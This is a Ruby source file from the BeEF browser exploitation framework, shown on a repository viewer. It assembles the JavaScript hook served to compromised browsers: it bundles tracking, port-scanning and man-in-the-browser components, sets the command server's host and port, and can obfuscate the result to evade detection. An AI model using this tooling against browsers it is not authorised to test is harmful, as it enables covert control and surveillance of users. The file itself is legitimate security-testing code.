Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/handlers/modules/legacybeefjs.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Core
8
module Handlers
9
module Modules
10
# @note Purpose: avoid rewriting several times the same code.
11
module LegacyBeEFJS
12
# Builds the default beefjs library (all default components of the library).
13
# @param [Object] req_host The request object
14
def legacy_build_beefjs!(req_host)
15
config = BeEF::Core::Configuration.instance
16
# @note set up values required to construct beefjs
17
beef_js = ''
18
# @note location of sub files
19
beef_js_path = "#{$root_dir}/core/main/client/"
20
21
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
22
ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js]
23
24
# @note BeEF libraries: need Eruby evaluation and obfuscation
25
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
26
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
27
# @note Load websocket library only if WS server is enabled in config.yaml
28
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
29
# @note Load webrtc library only if WebRTC extension is enabled
30
if config.get('beef.extension.webrtc.enable') == true
31
beef_js_sub_files << 'lib/webrtcadapter.js'
32
beef_js_sub_files << 'webrtc.js'
33
end
34
35
# @note antisnatchor: leave timeout.js as the last one!
36
beef_js_sub_files << 'timeout.js'
37
38
ext_js_to_obfuscate = ''
39
ext_js_to_not_obfuscate = ''
40
41
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
42
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
43
ext_js_sub_files.each do |ext_js_sub_file|
44
if config.get('beef.extension.evasion.enable')
45
if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)
46
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
47
# do not obfuscate the file
48
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
49
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
50
else
51
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
52
ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
53
end
54
else
55
# Evasion is not enabled, do not obfuscate anything
56
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
57
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
58
end
59
end
60
61
# @note construct the beef_js string from file(s)
62
beef_js_sub_files.each do |beef_js_sub_file|
63
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
64
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
65
end
66
67
# @note create the config for the hooked browser session
68
hook_session_config = BeEF::Core::Server.instance.to_h
69
70
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
71
if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])
72
hook_session_config['beef_host'] = hook_session_config['beef_public']
73
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
74
end
75
if hook_session_config['beef_host'].eql? '0.0.0.0'
76
hook_session_config['beef_host'] = req_host
77
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
78
end
79
80
# @note set the XHR-polling timeout
81
hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')
82
83
# @note set the hook file path and BeEF's cookie name
84
hook_session_config['hook_file'] = config.get('beef.http.hook_file')
85
hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')
86
87
# @note if http_port <> public_port in config ini, use the public_port
88
if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])
89
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
90
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
91
hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'
92
end
93
94
# @note Set some WebSocket properties
95
if config.get('beef.http.websocket.enable')
96
hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')
97
hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')
98
hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')
99
hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')
100
hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')
101
end
102
103
# @note populate place holders in the beef_js string and set the response body
104
eruby = Erubis::FastEruby.new(beef_js)
105
@hook = eruby.evaluate(hook_session_config)
106
107
if config.get('beef.extension.evasion.enable')
108
evasion = BeEF::Extension::Evasion::Evasion.instance
109
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
110
else
111
@final_hook = ext_js_to_not_obfuscate + @hook
112
end
113
114
# @note Return the final hook to be sent to the browser
115
@body << @final_hook
116
end
117
118
# Finds the path to js components
119
# @param [String] component Name of component
120
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
121
def legacy_find_beefjs_component_path(component)
122
component_path = component
123
component_path.gsub!(/beef./, '')
124
component_path.gsub!(/\./, '/')
125
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
126
127
return false unless File.exist? component_path
128
129
component_path
130
end
131
132
# Builds missing beefjs components.
133
# @param [Array] beefjs_components An array of component names
134
def legacy_build_missing_beefjs_components(beefjs_components)
135
# @note verifies that @beef_js_cmps is not nil to avoid bugs
136
@beef_js_cmps = '' if @beef_js_cmps.nil?
137
138
if beefjs_components.is_a? String
139
beefjs_components_path = find_beefjs_component_path(beefjs_components)
140
raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path
141
142
beefjs_components = { beefjs_components => beefjs_components_path }
143
end
144
145
beefjs_components.keys.each do |k|
146
next if @beef_js_cmps.include? beefjs_components[k]
147
148
# @note path to the component
149
component_path = beefjs_components[k]
150
151
# @note we output the component to the hooked browser
152
config = BeEF::Core::Configuration.instance
153
if config.get('beef.extension.evasion.enable')
154
evasion = BeEF::Extension::Evasion::Evasion.instance
155
@body << evasion.obfuscate(File.read(component_path) + "\n\n")
156
else
157
@body << (File.read(component_path) + "\n\n")
158
end
159
160
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
161
if @beef_js_cmps.eql? ''
162
@beef_js_cmps = component_path
163
else
164
@beef_js_cmps += ",#{component_path}"
165
end
166
end
167
end
168
end
169
end
170
end
171
end
172
end
173
174